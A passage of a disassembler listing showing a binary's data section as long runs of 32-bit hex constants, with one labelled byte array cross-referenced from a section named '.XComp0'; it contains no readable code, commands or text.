		dd 5ACD7827h, 0D1934E2Ch, 0EE826CE5h, 91C30640h, 0BF41941h
		dd 1C8BD901h, 9D56F6D6h, 0FC887865h, 0E4572538h, 0AEFC973Fh
		dd 49717772h, 31278920h, 6296C237h, 818DE2A6h, 0CF883447h
		dd 5EF5020h, 5BFA3091h,	4EF91E28h, 0DBDCD6C3h, 93B72A66h
		dd 0CBF849EBh, 1C4F1AE9h, 94112BF6h, 7EEE27B0h,	62415AFDh
		dd 0EB239443h, 0F641D89h, 9A10F380h, 9F21E61Dh,	740BC8C5h
		dd 0A211D2CAh, 5A917FDFh, 0AA056BE8h, 12D7C209h, 5338229Bh
		dd 0C16DF59h, 37EE5550h, 0F7C985C1h, 0F730BC6Eh, 0CB624B49h
		dd 224C4C72h, 80219027h, 8142299Fh, 61FC3A5Ch, 3D726882h
		dd 244ACC77h, 81C2B9D0h, 0E620CCCFh, 0F5BD2F32h, 0C8188E63h
		dd 4DF52302h, 0F57FB066h, 470855E4h, 0ACBF78DAh, 930E085Ch
		dd 4E1C000h, 17DCB252h,	1306EA80h, 0F202BB94h, 63F6E9D0h
		dd 5282B143h, 15A0053Fh, 0DD4FF575h, 0AD3FE39Bh, 0BE25DAh
		dd 42685EA9h, 0E2C69D5Dh, 7A823C71h, 0B48420CFh, 2421015Eh
		dd 6800782Eh, 0F617106Ch, 0B1D05B48h, 61BB12C9h, 5AC31161h
		dd 896BEC45h, 0C2885F5Ah, 0DDAAABBFh, 5B58BF81h, 0AB79BF2Bh
		dd 14A48021h, 0B1CCE339h, 0DD80E74Ah, 1F6A0502h, 0D7E55408h
		dd 0A16D527Bh, 0CAE243Bh, 176697Fh, 6268500Bh, 3190B4Ch
		dd 85B1EA10h, 8888E3FFh, 0BD1ADDAh, 763415Ah, 142A1121h
		dd 49B5D780h, 53D78BA3h, 4EA28E0Fh, 0BE7EB13h, 45B9858h
		dd 0C052506Dh, 0DE888AAEh, 2D9C5B58h, 5A0487F1h, 64C8E2A4h
		dd 0F9324A57h, 25A89DAh, 66B2780Eh, 5448FEC9h, 54A3A870h
		dd 0FC57504Eh, 927C17C0h, 2328148h, 0D940C93Ah,	83868FF7h
		dd 0BDE78F2Fh, 5609E380h, 2E0C58BEh, 23E29AEh, 2E3928B4h
		dd 0F268E05Dh, 29025BFh, 890496FCh, 0FDEE5FFBh,	3FCB0BBCh
		dd 8B4DC7Dh, 531D4011h,	5B803897h, 0DFC705h, 0C289F3F4h
		dd 8CB85058h, 1AB46712h, 0BC2116BAh, 0A5191C3Dh, 71EF5727h
		dd 731A7DA5h, 25F41477h, 590C49Ch, 550FBB53h, 0CA2A721Ch
		dd 0FBAC6B9h, 72781F91h, 0CFAFC3EBh, 0B6D864FAh, 0C807319Ch
		dd 31655A46h, 537432BBh, 0EB09D8C4h, 70951252h,	0C14C020Ah
		dd 0A6E9A7CBh, 890A0277h, 6894D7D0h, 0CBD0C597h, 190F8900h
		dd 0E93A70BCh, 31996321h, 284C9DD0h, 37EBAC02h,	0B70B1B58h
		dd 0C329A376h, 0E9801073h, 164F9601h, 4B44E85Eh, 0EA9A30FFh
		dd 0A84CC87Bh, 0D7C4261Ch, 8914F3ADh, 45CE0253h, 83955D9Dh
		dd 82BAFF25h, 0F870D4FEh, 0EE8FC987h, 6B539182h, 8ADAE1DFh
		dd 1226A66Bh, 75AB6DDCh, 0E8B3BB1Bh, 1796047Ch,	0A296FE2h
		dd 0E42008EBh, 0AABC5D9Dh, 68CDC8BDh, 88F29F2Eh, 0C33DE531h
		dd 41305EF3h, 900512A8h, 860DB271h, 181DA42Dh, 433F8AE9h
		dd 0E0D26D5Bh, 22AF3353h, 0DD4ACF2Ah, 67DDDA82h, 0F9280179h
		dd 51955DFCh, 38538C01h, 1113F2E5h, 580FE459h, 5F67D869h
		dd 0C05880A5h, 0D004E51Ch, 78B652C0h, 2E5AF530h, 8022EF08h
		dd 5BFE8866h, 475EA5E9h, 4103A0F4h, 0BEB33B7Fh,	5F7D7B3Ah
		dd 4656C1EFh, 7AF0DD4Eh, 5DE38FD1h, 1518B20Ch, 0D004DAF6h
		dd 0FD6818E2h, 0BBF79D69h, 4A2535C5h, 565FA9E3h, 8374E813h
		dd 4AD180E9h, 5442A52Fh, 6F45EB37h, 5AEDB3EEh, 0C0ACB2C5h
		dd 0A7E99781h, 521DDFB4h, 6150038Dh, 7E72A17Fh,	1C806494h
		dd 32BD0BB1h, 21A5D64h,	6A9F20CEh, 0D1DE5D05h, 0D288446Ah
		dd 0BF0F3F62h, 0BAB3954Ch, 0BA71E604h, 26685F01h, 48CC337Eh
		dd 358A00B3h, 0C5E92F02h, 80B3BECAh, 3E116022h,	0C098DEF7h
		dd 3DE88501h, 572E913h,	0BEF955h, 0DF121D34h, 34965A7Fh
		dd 0CBAA5ECBh, 0C59E85Eh, 1679B1ACh, 0ACE457AFh, 0B7F04015h
		dd 0F5697F60h, 4EE811B8h, 2D3AB94Ah, 0B63FE0FBh, 0D6B433C0h
		dd 124ED316h, 899EC8B8h, 4874F10Bh, 4E094193h, 17E7FC23h
		dd 0AC8C1231h, 0DE58B34Eh, 7A689F10h, 67B59AC0h, 0E55714A0h
		dd 5E8B1110h, 2E2758F1h, 0D6E9C21Eh, 0C38BA8B1h, 0E79CC138h
		dd 91EC6B25h, 6925EE4Fh, 606F99FBh, 456025B8h, 3EE5E781h
		dd 0AB675B02h, 0DFF77921h, 0A6B0B96Ch, 147E9F26h, 0BCFF305h
		dd 0A5D008AFh, 3FDC9AEBh, 0EF3A43D1h, 49DB298Eh, 107DDF6Bh
		dd 0FC885353h, 0ECA5BA8Ah, 85DCB57Ch, 2EFD8658h, 39165266h
		dd 1921FC2Eh, 0F0593CD5h, 0D41CF65Ah, 6BBFE730h, 0D13E0408h
		dd 0C1D93417h, 0FB7563h, 7435D268h, 4A5A2CEEh, 0E6E9C20Bh
		dd 0B81E0074h, 3BDC1281h, 7F22C129h, 5B7F6110h,	3AFA2DAEh
		dd 790B28BBh, 80A8465Ah, 2C24618Fh, 0A22CA88Ch,	0A3944058h
		dd 5ECD0113h, 7DCCE681h, 0F5322074h, 60FA734Bh,	5130689Ch
		dd 9642FBB5h, 29E5C225h, 0A7E9C577h, 0E925957Ah, 5C8A02FFh
		dd 29404081h, 4E217CE6h, 5B80C2F3h, 2269A5DFh, 0C9364AAh
		dd 0CFEF71A3h, 54027205h, 0ED1F872Dh, 4D105DAFh, 450F1868h
		dd 0C95A57D2h, 584941EBh, 4D39C135h, 75AEFC10h,	776A452Dh
		dd 0D5A878A2h, 197226AAh, 0FCE51184h, 4FC28DD1h, 0DD016852h
		dd 65B0EB31h, 0E132BE7h, 5283B580h, 0FD3AF37Eh,	2DE90ADEh
		dd 0BA61CBAh, 3EA8DF08h, 4183F9CFh, 0A46F20A5h,	8D161897h
		dd 695A819Bh, 0D2512439h, 0DC06BF81h, 132EAF18h, 7104AFA5h
		dd 0AA1756ECh, 44717C02h, 808DD19h, 178F03C0h, 0FEA92597h
		dd 0F748028Ch, 0A27FC6F8h, 1FDF518h, 4E86E9CCh,	4E10A288h
		dd 2F996DFEh, 0BB3BBE89h, 0A91C502Ch, 24AFDA83h, 805122D5h
		dd 62D80969h, 2774D120h, 7F602804h, 0C0831116h,	98902CF0h
		dd 685740B3h, 99BF5471h, 76FAA5C3h, 51F552B4h, 269A492h
		dd 5E9F02B3h, 92C1DE57h, 7DA045Ch, 0C40AA809h, 16E553h
		dd 1D604C06h, 0DA60F71Bh, 87BC2B10h, 0D7091EB4h, 63CCF95Ah
		dd 8A1D5B02h, 2BD6211Eh, 57C47409h, 2C90777Bh, 0D5293CCBh
		dd 782F5570h, 9D881CBAh, 574A80D9h, 4E9546ADh, 3A96FBD0h
		dd 815B4Eh, 685D5A64h
		dd 95B352E2h, 8F71F481h, 0E82E3165h, 0E558C921h, 4AFE2119h
		dd 0B54E42AAh, 3A4168EAh, 0B8AA7031h, 5B684740h, 0B5893139h
		dd 8F6DFC01h, 0DE551297h, 26C04265h, 0A75416A4h, 95E71290h
		dd 0D012C0F9h, 0E171EB44h, 3B24515Ch, 0FC7C163Dh, 0ED890A1Ah
		dd 252A2407h, 0E90BEEDBh, 28BFA28h, 92767EF7h, 53614F2Fh
		dd 1FA076ADh, 8926B72h,	0BF5F37ACh, 777FC60h, 104D4AA7h
		dd 1909ADBFh, 4A7EA068h, 5CFE5E1Ch, 0F80B4118h,	48BE4102h
		dd 9260CB62h, 0A290F38h, 56E184CAh, 0EA2F1D68h,	142A0030h
		dd 553F1813h, 48C6F45Eh, 2D59191Eh, 6FAD8F7Fh, 0CE1F97AFh
		dd 0D2C45DE7h, 4C16F67Fh, 0CBFB4E82h, 90B4611Dh, 0D60F443h
		dd 3B3A5531h, 0F717712Fh, 19B66BD5h, 0AAC9EC16h, 0E086B997h
		dd 25B907F5h, 0C4283E76h, 0EEF0C855h, 5901871Fh, 7E7FA53Dh
		dd 0EFDA5361h, 0C442FE57h, 4ECCE865h, 5BA82BEAh, 4BFA5314h
		dd 295F5103h, 49DDC2F0h, 8215C26h, 414D006Bh, 0E33E181h
		dd 657C2064h, 35E720FBh, 1317116Dh, 3F10FB29h, 731C6008h
		dd 0B00AD819h, 9AF4B8C6h, 4B789D41h, 5A7F1048h,	15C9FA16h
		dd 0B1B3F8E8h, 925E920Eh, 8FA596C1h, 2194BE05h,	0D3FFC3EFh
		dd 0C13A91EDh, 80877F58h, 977FAB2h, 24565857h, 0B22BA668h
		dd 135F574Ah, 994E9E8h,	0BA004023h, 0B5F5779h, 0E917D521h
		dd 61B3BDDEh, 66AD2A79h, 29DF9D9Ah, 0D310349h, 0C18B4ED1h
		dd 69894293h, 60E9F106h, 50ED002Ah, 875D5855h, 64E6DD5Ch
		dd 84EF9508h, 0A0F4841Dh, 3A09BDE8h, 0D521714Ah, 83EB9AE0h
		dd 2A5B681Eh, 1BC517Bh,	3489E908h, 0EA4C21DAh, 1E37197Bh
		dd 0E250B577h, 0E7E1F766h, 0EF404EF8h, 0E0FA8254h, 0EBCB3848h
		dd 0BD74F30Fh, 4B567DA7h, 0DD4C98DAh, 0CA6EBD70h, 334FC5A0h
		dd 0B81B390Dh, 0AA3B0B4Bh, 0EB832521h, 9A977430h, 7D683F4Ah
		dd 36F58C4Ah, 98506640h, 0F8334B22h, 7D47D200h,	3E043001h
		dd 0E5EB67FFh, 0AA0D34EAh, 0ECC84BB3h, 0D7213E62h, 7F396B21h
		dd 0EB73204Ah, 0CE03F201h, 6A9E9A1h, 8EBE2287h,	0AE69E40Ah
		dd 33250084h, 0B9E0E4EBh, 4AE4D57Bh, 1F7201BDh,	0A42F7662h
		dd 44246156h, 11125E37h, 0E630F545h, 87652CC3h,	69EFFD09h
		dd 0E080C26h, 0ED800149h, 60C5FE20h, 0B3BEB81Ch, 0EA043E60h
		dd 2D089F3Fh, 465F02CCh, 0CF742286h, 2CE19137h,	0AD208A45h
		dd 0AE9E9DD0h, 7EE926A1h, 5E294BA9h, 0DF680A0Fh, 2FE98BE1h
		dd 5B0B4DF8h, 62E38853h, 0A3B3C151h, 0ABA6133Fh, 97BE58Fh
		dd 1EAD67D6h, 7208056h,	76279295h, 8DF1883Dh, 7FE28609h
		dd 0F8D27E60h, 42447C9Fh, 9B666EDFh, 465922F0h,	66039E46h
		dd 308B4C39h, 0E9893A11h, 239A3020h, 7205E83Bh,	770FC127h
		dd 0E9099147h, 6811E052h, 386C4DFEh, 0AB66C09Ch, 60C28138h
		dd 41B95F18h, 243A900Ch, 17E4859Bh, 98A7A482h, 8948A269h
		dd 51D17F32h, 25F5063Bh, 2F95C685h, 165D515Dh, 6FE5B748h
		dd 0CB02FDAFh, 5ED847EDh, 65383D25h, 646108A3h,	1C1E6881h
		dd 0D8ED239Fh, 5A4352D6h, 0B533B87Ch, 50D5A3AAh, 0D09A2F44h
		dd 69D66662h, 0D0C00790h, 80DFF608h, 12DAEF2Ch,	0E5EC7A12h
		dd 6F6D35CDh, 0ED2BCEB5h, 0DBAD16F7h, 0C618EFEh, 0C539A368h
		dd 9F72B20Ah, 0E9E21AF1h, 9B8A93Fh, 81487D16h, 0C3AA122Ch
		dd 404CD9FFh, 0F02816B6h, 0F8F72C80h, 2C3B905Bh, 187861B4h
		dd 0E96D0647h, 0C3346B33h, 6462B9D1h, 28381029h, 1928FA4Bh
		dd 0FC29671h, 0C1A7478Fh, 8106336Fh, 6000852h, 0D0E8E955h
		dd 38789F0Ch, 12A3BC02h, 0F5F7097Ah, 7BC20F41h,	7B5882A3h
		dd 4EE8EE00h, 482DA664h, 5837293Ah, 258B2065h, 6BD4F888h
		dd 951C253Ch, 0F0B6137Bh, 9C00BB92h, 810D0347h,	2471B9F3h
		dd 1648346Fh, 0FE721C4Ah, 0E80AF138h, 2E33A9Fh,	76B74C8Bh
		dd 17C3EBA5h, 0D52F3408h, 6481EAACh, 0A7249977h, 497843AAh
		dd 13E4C4DAh, 3EAC000h,	0F648C2FEh, 56DF102Ah, 45CF6809h
		dd 0BA4E7366h, 3CBEA517h, 2426E990h, 0D541AB5Dh, 7070E828h
		dd 976AB65Fh, 169BC58Ah, 0E8FAFB3h, 31643D4Ah, 0CE003B6Ch
		dd 35783EBAh, 80B39642h, 46AD5B23h, 0FDB2D629h,	7E3CBE7Fh
		dd 83F3A035h, 5A881808h, 72EFCB62h, 1343310Bh, 9DC5F857h
		dd 3E9C5891h, 0DDEB9012h, 9128F8BAh, 13EA1DD2h,	428EFC0h
		dd 0A2CE4FF6h, 0A57CDFFDh, 4AB94AFDh, 0C3E1543Bh, 0FB90DF31h
		dd 9A6373E9h, 837E2C2Ah, 0FB4AF7C8h, 379EDDADh,	63CCFB2Ch
		dd 0CA805265h, 2066521h, 0CF39BA4Ch, 0C45C173Dh, 12E9DD25h
		dd 3A40305Fh, 0D56A8A2h, 0FADDEF09h, 13A4DD74h,	0FC6FA56h
		dd 0A00DD7F2h, 184B3636h, 86E3F2C5h, 0AF18C634h, 0FB1213B6h
		dd 2A30E631h, 580495E4h, 4A596853h, 927160ABh, 2BF92166h
		dd 0A205A5B9h, 0BEBB5C12h, 0F1CBF1D0h, 6383242Ah, 7B093BAAh
		dd 7BD677FFh, 1410544Bh, 0DD68C86h, 88117C9Fh, 96874EEh
		dd 4684F2B1h, 3EDAB88Ah, 668CCF87h, 11D00BB9h, 1CF82EC6h
		dd 43CC6A14h, 85F47DB2h, 1D59277Ah, 9E313162h, 0A86AD921h
		dd 27EC7E13h, 0FE091CCBh, 3F930816h, 601E3724h,	1285842h
		dd 89F88FEh, 36190C30h,	5F2424A3h, 4D7FCB39h, 1B362CE8h
		dd 74B72701h, 0F044AB70h, 29AE38EFh, 0AB94054Dh, 521012B2h
		dd 0EEA899BAh, 0A664A83Bh, 392909FAh, 94060F63h, 40B70D25h
		dd 5A2E68F1h, 80FCB35Ah, 0C46CE8C5h, 0F5012E51h, 0AF62041h
		dd 77DC67C2h, 0DD30788h, 5050BB1Eh, 2513B87Eh, 0CF3EB5Bh
		dd 23958122h, 856DA0C4h, 0C4B7B2AEh, 0B900DF0Eh, 46B13349h
		dd 17746695h, 0B32C55E9h, 0B02BA32Ch, 2DE97203h, 32F7D6FDh
		dd 0B530DDEFh, 5D70D168h, 66385797h, 0BA4B30E9h, 386103A6h
		dd 0C87ACC68h, 8CA35F66h, 0A911BB0h, 4B922F90h,	0D5F0594Eh
		dd 0EA801FD6h, 579A5A6Eh, 8C92745Dh, 0FE2C5FE6h, 0A1F5C55Ah
		dd 0EBC167CDh, 1E16BA29h, 0DF7C4D2Dh, 0ED5CC0F6h, 42F22176h
		dd 0AE550B00h, 685FF829h, 0B74762D0h, 4D0FC649h, 0A27F408Eh
		dd 0D60184DDh, 4FFBA3ABh, 0E8E94137h, 818A32ADh, 0A30C9757h
		dd 424D8FFFh, 7F9610A6h, 12D280E5h, 704B425Dh, 6A4AFE1h
		dd 0F30B20F2h, 0E9A0CA2Ch, 109FD5FAh, 0F441B0A5h, 0E4A65ADDh
		dd 0E5BFBA3Fh, 91B3A1EFh, 0F62C6733h, 41C4FDDBh, 0C669F32Ch
		dd 51CC504Fh, 18014FE4h, 0E9466FD4h, 0E9690452h, 0DDEECBDEh
		dd 7075DC92h, 0B8E1BDE3h, 0D1778110h, 346851EBh, 0E2106039h
		dd 50551D42h, 24C0D1D3h, 73A9EF80h, 0BF0273C0h,	0BC9F8960h
		dd 1A2ACA97h, 4661F5CEh, 0B872C21h, 0D8FAB353h,	9AECF6DBh
		dd 67BB0194h, 8964613Bh, 5A2DF0D9h, 72C1BFC1h, 55E27727h
		dd 3C0830A8h, 0EA0C8797h, 0EBC21174h, 9498D56Ah, 0D70F3042h
		dd 0E6A9119Eh, 28954Ah,	0E1C9205h, 53D82977h, 825A527Eh
		dd 909ED4D6h, 5A583D46h, 9553D12h, 8E23B38h, 0CAF7A405h
		dd 5D267B5Eh, 68C04FA0h, 23B3F16h, 7E22F681h, 89D527ABh
		dd 0CBF7044h, 2ED54058h, 173F710Ch, 0BCCE1CDh, 41CC1611h
		dd 0E1D12F49h, 0E2E058DAh, 318C1A01h, 0F20159CEh, 8178BF30h
		dd 0F0137E66h, 0C8CD47AAh, 0F929A246h
		db 43h
byte_505345	db 0FAh, 6, 0Ah		; DATA XREF: .XComp0:off_452BB0o
					; .XComp0:off_452BB8o ...
		dd 0EF7CE9D1h, 1E6AB0B8h, 0E70ADFC2h, 0A709B356h, 2804A6A9h
		dd 0E5DA292Ah, 81BAA9A3h, 5CD20D94h, 0E2DD6F01h, 0A48AB47Eh
		dd 15D88F01h, 0AAE9F831h, 5C27BF68h, 0C9E3655Dh, 2506BCDDh
		dd 7C8037E9h, 73786ABBh, 0DF893012h, 781C270Bh,	0F81F867Eh
		dd 0EC7E4E26h, 8AB6D38Ah, 0B1E27B2Fh, 0D06B75D9h, 8642E648h
		dd 0D15BF7CBh, 0DCD467ECh, 78C8EA0Dh, 3BBF009Dh, 3114EF50h
		dd 62757D9Ah, 0DE0134B3h, 597A5A4Bh, 57A6282Bh,	766BF05h
		dd 0F6C04B67h, 5E87455Fh, 612AF5CDh, 0CAB3C37h,	8B0B8468h
		dd 5E755E1Dh, 16E3BBC8h, 0D080ADB2h, 65732C5Ah,	0DF545725h
		dd 7AE9F090h, 0D02AA669h, 9D7BB098h, 5A949A60h,	93466324h
		dd 0D5ACB50Bh, 0F74B68E6h, 2DFA2384h, 0A1ADFCF0h, 7AEBBA97h
		dd 726E203Ah, 0D1664260h, 904AFB6Ch, 3E80034h, 0F2815322h
		dd 1062029h, 4647E97Eh,	58E33543h, 0F1B08707h, 0D87EB151h
		dd 0F61375E9h, 350E66D9h, 3ABD1D7Dh, 2941DAEBh,	32354001h
		dd 0F80DA13Ah, 0AA9ABF64h, 0F4415820h, 0F40AB201h, 0D1FEAB6Fh
		dd 0B83E869Bh, 0FB9DC4C4h, 35ED8100h, 4B4C3212h, 715E01ADh
		dd 0CAE905FCh, 0C64B4E6Eh, 0CA661E2h, 0A19EA77h, 69EFA308h
		dd 2DBD20B1h, 0E7866651h, 13ED0A30h, 0B85C3B53h, 1D09480Bh
		dd 0C2838149h, 132D6265h, 0B40FE912h, 5750E051h, 0FE6569FEh
		dd 0B1015B4Eh, 6304704Ah, 7F17893Bh, 213A74F1h,	2F55A84h
		dd 28286180h, 0AD09E3CEh, 63F2B506h, 141E6606h,	0B6262406h
		dd 0D0177C2Ch, 0B451EC0Ah, 33766881h, 0CD20352Eh, 0B7904041h
		dd 0BE711F77h, 2939369Ah, 6D69DBCFh, 0E3BE497Fh, 6DE93081h
		dd 6DC259BDh, 27D41059h, 0BD05104Ch, 0AA5BF52Ah, 12CC042Ch
		dd 14FA941h, 7A101731h,	4ABC3F69h, 0F36D9B17h, 8BB72FA7h
		dd 60677D24h, 57BAB0A7h, 0A8DB9140h, 41796C95h,	9412F58Ch
		dd 0A2443338h, 8818C4F9h, 49277B43h, 43C011Fh, 0FA204E40h
		dd 0E42287Fh, 0E9FA0CD6h, 5032AFF3h, 40FA48B6h,	0BE5CEBE7h
		dd 5758EB65h, 0F5883996h, 11BA00D5h, 4A21AC13h,	0CCA8138h
		dd 8E73D31Fh, 50173932h, 3E06724Ch, 18188625h, 9615483Eh
		dd 16A03165h, 0B6AD1CBBh, 0EB014B98h, 461E75Fh,	0EF02C083h
		dd 4144128Ch, 0CC8F408Ch, 904A2BE7h, 0ED4B8CFCh, 0B0DA10BBh
		dd 0DC02825h, 2D80A276h, 0EEE20950h, 530B0905h,	969201F4h
		dd 2EBD8040h, 2E470F33h, 8378ED83h, 0B8F0CCD5h,	14FE6E4Ah
		dd 732C2986h, 20024174h, 0A08938CBh, 308E3C0h, 0E912C380h
		dd 0B7033590h, 4014C4E2h, 0CA84DA62h, 0F7CF7723h, 968B5C0Fh
		dd 0E6D6A7A2h, 0B82C00AEh, 0B753F028h, 0F7801CF2h, 6CFD254Ah
		dd 0B7D09F91h, 0E94CC0F0h, 38EE1337h, 5E26E5E7h, 55193EEh
		dd 0FEFB4807h, 52215538h, 89501CD0h, 22C258ACh,	0BA439585h
		dd 0D0FC92CDh, 0B71FC19Fh, 0E9DFF6E1h, 3BCE654Dh, 18404589h
		dd 19E81041h, 58D33129h, 930BDE32h, 8968D8DCh, 92D99F72h
		dd 0BBBAA97Ah, 68708AE4h, 0AB29BBE4h, 0FE20EA25h, 14B90174h
		dd 2F799677h, 5F17D483h, 6A4BE10Fh, 0BA001C2Dh,	59E9685Bh
		dd 9485D867h, 0B031424Bh, 0E0555336h, 97B5DE26h, 0DF95596Eh
		dd 368B418h, 0FB84C3E3h, 0E912A0E7h, 52A28025h,	4B3ABA66h
		dd 1EC04838h, 0C0653F78h, 0B93CC6B6h, 0D4F20174h, 7F64FE65h
		dd 0D81FA10Bh, 18F79DB7h, 0B6A5C4DAh, 41BB895Dh, 0A227DEC8h
		dd 0E339FE9Fh, 0A07752Ch, 72054840h, 0C29AAAE2h, 25A35C78h
		dd 5FD240D6h, 0FE272947h, 0C2724F82h, 0B45750F9h, 54E91830h
		dd 0DA0D1696h, 59E03607h, 0A771D0F7h, 2E607007h, 0A3334B95h
		dd 40476B2Bh, 83B89F0Bh, 3A1437D9h, 81C3BEA2h, 1E1DE7C1h
		dd 1BAC0148h, 0DDDE0820h, 53A0A913h, 5C0504ADh,	0C523E82Ah
		dd 86B2FE6Ch, 2C78718Fh, 49FC282Ch, 595C5AE4h, 0E6277EAFh
		dd 0FBE738EBh, 62DE975Fh, 9385264Ch, 72100330h,	0F8E91DABh
		dd 5DB8576h, 0FF8426A6h, 3B461BC0h, 0B9155B70h,	0AED04D9h
		dd 9803FDEh, 27C07E67h,	48572103h, 970C978Bh, 4EAF0753h
		dd 18E913BDh, 5CAB98Dh,	456037A9h, 47EF8F16h, 72C12903h
		dd 0C6496F0h, 77F4BC3Bh, 0C6C7E9Eh, 0E1341245h,	7F1DE0B6h
		dd 99EEB24Ah, 0BDC6600Dh, 491F011Eh, 720A06Dh, 1F7CEA81h
		dd 0D38F80DEh, 0B6BCFCD0h, 3E46F8C6h, 0E6020D25h, 7D4B2635h
		dd 5EDBACE0h, 93A14CF6h, 296BD40Fh, 0E9D62104h,	28EA767Dh
		dd 51025261h, 0FF2C8A68h, 633BC203h, 0FB284B77h, 6ECD7681h
		dd 0A04DC892h, 9E2DE203h, 0DA23FFFBh, 0BAF5FE9h, 8F1C7DFh
		dd 0F4256E84h, 0FB1027BDh, 7FEB5950h, 2BA92A27h, 2560FB8Fh
		dd 4EF44255h, 5C032014h, 0FCB4F881h, 1BB8C8B7h,	0A66CC102h
		dd 7D58E949h, 7BFA1927h, 0DDE64275h, 0E12D8D73h, 0E56F8BEh
		dd 13682A69h, 4B1DEA83h, 3A6FCA2Bh, 4E07568Fh, 8014BF9Ch
		dd 5B8192F3h, 60744030h, 82B90E85h, 734A1777h, 0B4059980h
		dd 55192D6Eh, 31063F94h, 0BE8CE9C3h, 5FFD1EA9h,	0A4755D5Bh
		dd 0B9518045h, 39C62F3Fh, 31165990h, 0ACC0361Dh, 0A3236BDCh
		dd 244CB0DFh, 905371EEh, 0B3EEA10h, 0D2F722BFh,	1082D3DCh
		dd 571DA823h, 2AD6FF89h, 0A5080B83h, 0D8F3B044h, 16DA2E54h
		dd 17FF3DAFh, 0FE317FB9h, 0EA24FC80h, 0FC205FE6h, 684061AFh
		dd 342A1B3Fh, 84C6F8D6h, 7E194E48h, 7713C87h, 11F2210Fh
		dd 47CBC835h, 8E8C109h,	9225EB00h, 7A3C1412h, 0D0277405h
		dd 2F7350F6h, 8D90C74Fh, 2AE94729h, 7CA32CABh, 0B2C782BDh
		dd 2EE250F5h, 81B258F2h, 26D2205h, 3B846F48h, 2AB20Eh
		dd 42E94329h, 724E9588h, 5F98517Ch, 29EA9DDh, 85A1AD12h
		dd 0FEBCF02Eh, 0A65F9D8Eh, 7EAC28F6h, 21FC08Ah,	0C061F480h
		dd 0E5ED4890h, 55B0E784h, 0E197E588h, 0C5F0F011h, 14E92652h
		dd 0C98180FBh, 23CC4FD3h, 0B7E26897h, 4D62CE79h, 0AE9ADAC5h
		dd 4B883661h, 0A232676Ah, 67D657ADh, 7941965h, 8D8921BEh
		dd 63860476h, 27BB0FDh,	0E386850h, 318B7967h, 0DE07B7Bh
		dd 0EE4A3326h, 13775FE9h, 0A299EBB7h, 0A53E25D2h, 1DF640AAh
		dd 7A7D8B7Bh, 76B61225h, 0E8DA4706h, 73295A09h,	1280806h
		dd 49C38004h, 205053C3h, 6812A116h, 25AC0CA0h, 55B2EC4h
		dd 0E508CE29h, 0EE7C309Bh, 1B4E6D25h, 4F34D2BEh, 9E33D7C3h
		dd 175FFDFDh, 0FEAB9C5Eh, 9918C398h, 54BC086Fh,	0AECA8100h
		dd 90313A21h, 2BFB00C3h, 422D777Eh, 52025750h, 61592E05h
		dd 0E50BC349h, 1128071Fh, 25B5A76h, 16A5CBADh, 62C4874Eh
		dd 5E80E7D1h, 717D31C7h, 262D2703h, 0AF3D8767h,	3B8552B1h
		dd 7ADA12Eh, 21115A07h,	0B47F09AAh, 5A42595Eh, 0D3F98750h
		dd 0D5A430D2h, 0FC3C6045h, 0F9CE40FCh, 67FA9656h, 2B3FE70Ah
		dd 8227717Ah, 5532AB96h, 5B581E22h, 574914D1h, 0CAE954B0h
		dd 0C3AD2097h, 4FB641D2h, 520AC240h, 0ECAF247Dh, 14EAD694h
		dd 1F04F037h, 0EE613641h, 0C22BDBA5h, 0D9091299h, 8B5C2C6Dh
		dd 69D45A06h, 55F5D062h, 0C5D0B974h, 48F28853h,	265A1618h
		dd 925620E6h, 0C0FBED34h, 7DFE0B32h, 1CB22527h,	3BF3C8E9h
		dd 0C9DE9CA9h, 3E77BAEBh, 0F7898996h, 0C4A4DC38h, 44DAF503h
		dd 39B1AE3Ch, 417EBB2Ch, 1DAA6878h, 4F1D74E7h, 81E1DA4h
		dd 3C0B7CA4h, 7091857Ch, 5BC528BAh, 0F955DFAAh,	0B27FC9F0h
		dd 0EEECF787h, 0BE14559Fh, 0DDA4A827h, 66DAE6B3h, 1CBEC568h
		dd 387A4273h, 0C8856E4Bh
		dd 0BB96B6A2h, 0CBBE6E8Ch, 0B5FC58E3h, 0D4791EC2h, 813762B8h
		dd 0A02F645Fh, 3E52952Ah, 97943FEh, 35AA201Eh, 6D0C0D80h
		dd 0E9191876h, 0B3348713h, 702A8720h, 0EC56970Fh, 5F79E970h
		dd 617DBA7Eh, 0D0A2E341h, 0AFE58100h, 1B535F06h, 67B6D5F7h
		dd 64541A97h, 6828E095h, 6C3BB809h, 78D2F7Fh, 5F09053Ah
		dd 6216867h, 50F1E90Bh,	709990FFh, 0D4E9E71Dh, 0F550F828h
		dd 6DED09BBh, 0C3745DDEh, 2EA10D07h, 0A78071C4h, 23F1130h
		dd 0E9C83103h, 0BAEAA74Dh, 0AB4B0F5h, 0A9F9978Ch, 506D4C9h
		dd 0BE79EF77h, 9A00ED99h, 24CC6429h, 2063592Ch,	0CA629507h
		dd 3727BEC4h, 0F622CE55h, 0D75967FCh, 5A06ACC1h, 2D1F63Ch
		dd 71E934C9h, 690DD4A7h, 0B062DD79h, 409DF47Ch,	1BF6D7C7h
		dd 65A43FE3h, 0FB52815Bh, 609CEC05h, 0B6500292h, 85E90B07h
		dd 0E916742Fh, 0A047259h, 0F0B13C68h, 3C1A8A7Eh, 182DDF8Bh
		dd 0FA4EAB4Ah, 48A88691h, 2101F522h, 8B336973h,	0D723310Ah
		dd 0DB091B75h, 862B77F6h, 5C6F219h, 0F97FEFBEh,	0C480AE06h
		dd 0F7DEDCEh, 0B1E9109Eh, 0CFBF0370h, 0D244781Eh, 33FE5645h
		dd 0E813E3C6h, 69BA2974h, 5512A7BAh, 8D8A74B6h,	9D21345Fh
		dd 3E34B44Dh, 0A4B0A9BEh, 2AE9DAF0h, 20ED40EFh,	0BD0050F2h
		dd 1D88379Ch, 4F8BEA89h, 0F3CBBA2Ch, 0FF02FE97h, 7F8A4EE9h
		dd 0BD0AC6F1h, 69AD4B60h, 7DF45BB6h, 0F37FC418h, 40713BEh
		dd 5676160Ch, 0CC98500Ch, 0B262979Bh, 978DDE50h, 0BAC6425h
		dd 1E822099h, 0E9F039D6h, 0B9315ACCh, 0CACDC8D2h, 5A55E2DAh
		dd 0C1331255h, 0F7C2A495h, 0C54FD2F9h, 71AB98CEh, 84DF0127h
		dd 8618E82h, 6088D1FFh,	535A009Fh, 0FC62568h, 27B93FD1h
		dd 1ECCD327h, 4EC6EDF2h, 0F7FD565Eh, 0E8D357C9h, 0C7B84016h
		dd 0AB38EA4Bh, 0ECEF5E95h, 0A1C18154h, 29E80AB8h, 514696CFh
